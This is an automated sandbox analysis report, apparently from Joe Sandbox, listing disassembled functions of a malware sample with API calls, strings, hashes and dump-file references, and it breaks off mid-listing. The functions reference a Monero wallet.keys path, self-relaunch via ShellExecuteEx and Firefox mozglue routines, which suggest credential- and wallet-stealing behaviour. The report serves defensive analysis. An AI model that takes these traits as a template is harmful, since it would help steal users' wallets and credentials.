Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 00339260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00F2E0C8,?,?,?,0033140C,?,00F2E0C8,00000000), ref: 0033926C
lstrcpyn.KERNEL32(0056AB88,00F2E0C8,00F2E0C8,?,0033140C,?,00F2E0C8), ref: 00339290
lstrlen.KERNEL32(?,?,0033140C,?,00F2E0C8), ref: 003392A7
wsprintfA.USER32 ref: 003392C7

Strings

%s%s, xrefs: 003392B5

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: f1ca2a821d77d8ce95701da9813a02cada1638ebeb1fadd11f7ba59ff0c45fbf
Instruction ID: 417561403bfe0f725fa7ff16b3ade4b312399ac2d67f89a7378e65eaddddcd42
Opcode Fuzzy Hash: f1ca2a821d77d8ce95701da9813a02cada1638ebeb1fadd11f7ba59ff0c45fbf
Instruction Fuzzy Hash: 5001D675600208FFCB44DFECC988EAE7BB9FB58355F148548F909AB214C671AA44EF91

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 0033C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0033C8EC
___crtLCMapStringA.LIBCMT ref: 0033C90C
___crtLCMapStringA.LIBCMT ref: 0033C931

Strings

, xrefs: 0033C896

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 83bc9b0990ebcae49400ac4e363964ac35e934f0b0ff0c8f53ec250c8091e8fc
Instruction ID: 4999b7325067abce9e27938befaf982628d21f9334283d091dbe6effb6861c17
Opcode Fuzzy Hash: 83bc9b0990ebcae49400ac4e363964ac35e934f0b0ff0c8f53ec250c8091e8fc
Instruction Fuzzy Hash: 9C41F6B151075C5EDB228B248CC5FFBBBEC9F45704F1454E8E98A9A182D3719B44DF60

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 00336630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00336663

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

ShellExecuteEx.SHELL32(0000003C), ref: 00336726
ExitProcess.KERNEL32 ref: 00336755

Strings

<, xrefs: 003366D9

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 54b3e875193296a488ef9c7d060ab4d951b052d801f3a440786a1806e6e17fd5
Instruction ID: 9149965f0688fcbdc4505a60c7e9ec5d4c044cbb2cb792289eed263a2c53eb08
Opcode Fuzzy Hash: 54b3e875193296a488ef9c7d060ab4d951b052d801f3a440786a1806e6e17fd5
Instruction Fuzzy Hash: 52312BB1801218AADB15EB94DCD2BDEB778AF14300F404189F20A7B191DFB46B49CF66

Function 003387C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00340E28,00000000,?), ref: 0033882F
RtlAllocateHeap.NTDLL(00000000), ref: 00338836
wsprintfA.USER32 ref: 00338850

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

%dx%d, xrefs: 00338847

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: f0bb4925639fdb8e4c397b8cb5dc1d1fb41009f7f59f3343846c24a46aecd33b
Instruction ID: f963552c2b03e1fa9d6aaed800bed50b57362d6e82722700b644fce5bf82b9cd
Opcode Fuzzy Hash: f0bb4925639fdb8e4c397b8cb5dc1d1fb41009f7f59f3343846c24a46aecd33b
Instruction Fuzzy Hash: 2D210DB1A44208AFDB04DFD8DD49FAEBBB8FB48711F104119F605B7280C7B9A9059FA1

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 00338D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0033951E,00000000), ref: 00338D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00338D62
wsprintfW.USER32 ref: 00338D78

Strings

%hs, xrefs: 00338D6F

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: c22e63b084d662960c6b73e057723ecb46adcb97024669b21f22b90614daac2f
Instruction ID: 4eb3200d18d1f1122674d559959610b96d944b21c20a5a956a6222ee065b5e5a
Opcode Fuzzy Hash: c22e63b084d662960c6b73e057723ecb46adcb97024669b21f22b90614daac2f
Instruction Fuzzy Hash: A6E0E675A50208BFD714DB98DD09E5977B8EB54702F004154FD0AA7240D9B16E149F56

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

